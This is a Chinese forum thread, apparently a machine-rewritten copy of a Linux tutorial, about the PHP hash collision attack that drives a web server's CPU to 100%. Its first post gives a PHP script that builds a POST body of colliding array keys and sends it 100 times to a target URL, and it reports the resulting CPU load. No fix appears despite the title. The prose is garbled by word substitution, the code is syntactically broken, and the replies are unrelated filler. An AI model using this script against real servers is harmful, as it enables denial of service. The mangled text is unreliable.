活着的死人 发表于 2015-1-14 20:30:30

给大家带来PHP Hash抵触招致 CPU 100%的完整办理***

如果您觉得本篇CentOSLinux教程讲得好,请记得点击右边漂浮的分享程序,把好文章分享给你的好朋友们!我们在这台web办事器上编写一个PHP步伐,目标是要测试机往Hash它,以便妨碍重现。
步伐言语以下:


1
2
3
<!--?php
echo$showtime=date("Y-m-dH:i:s");
?-->




实行后的效果是取以后办事器的工夫。



找台有PHP情况的测试呆板,这台呆板我用假造机,内里有LAMP情况。进/usr/local/apache/htdocs目次,写一PHP网页,步伐言语以下:
#Vihash.php
本人用的时分要把正文往失落!C―要自行删除不然不克不及运转
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!--?php
$size=pow(2,16);
$data=;
for($key=0,$maxKey=($size-1)*$size;$key<=$maxKey;$key+=$size){
$data.=$key.=&;
}
$url=http://www.liu***xx.com/checktime.php;
$rs=array();
$ch=curl_init();
curl_setopt($ch,CURLOPT_HEADER,0);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$data);
for($i=0;$i<100;++$i)
{
curl_exec($ch);
}
curl_close($ch);
?-->



url地点,为你要作测试的方针机,i<100,暗示最多100个并发。手工实行hash.php,举行hash碰撞。
#/usr/local/php/bin/phphash.php
在web办事器端,我们往看办事器的资本使用情形,CPU是97.6%,看模样单台假造机,拿100并发往Hash,就充足把web办事器的CPU使用率升至100%。


欢迎大家来到仓酷云论坛!

活着的死人 发表于 2015-1-15 19:45:51

给大家带来PHP Hash抵触招致 CPU 100%的完整办理***

甚至目前许多应用软件都是基于它的。可是没有哪一个系统是十分完美的。

海妖 发表于 2015-1-18 09:14:42

未来的学习之路将是以指数增加的方式增长的。从网管员来说,命令行实际上就是规则,它总是有效的,同时也是灵活的。

简单生活 发表于 2015-1-27 07:31:25

我想即使Linux高手也很难快速准确精练的回答你。

透明 发表于 2015-2-5 11:45:39

写学习日记,这是学习历程的见证,同时我坚持认为是增强学习信念的法宝。

变相怪杰 发表于 2015-2-11 20:27:08

得到到草率的回答或者根本得不到任何Linux答案。越表现出在寻求帮助前为解决问题付出的努力,你越能得到实质性的帮助。

深爱那片海 发表于 2015-3-2 19:43:31

感谢老师和同学们在学习上对我的帮助。

柔情似水 发表于 2015-3-11 07:59:38

放手去搞。尽量不要提问,运用搜索找答案,或者看wiki,从原理上理解操作系统的本质,而不是满足于使用几个技巧。尽量看英文资料。
页: [1]
查看完整版本: 给大家带来PHP Hash抵触招致 CPU 100%的完整办理***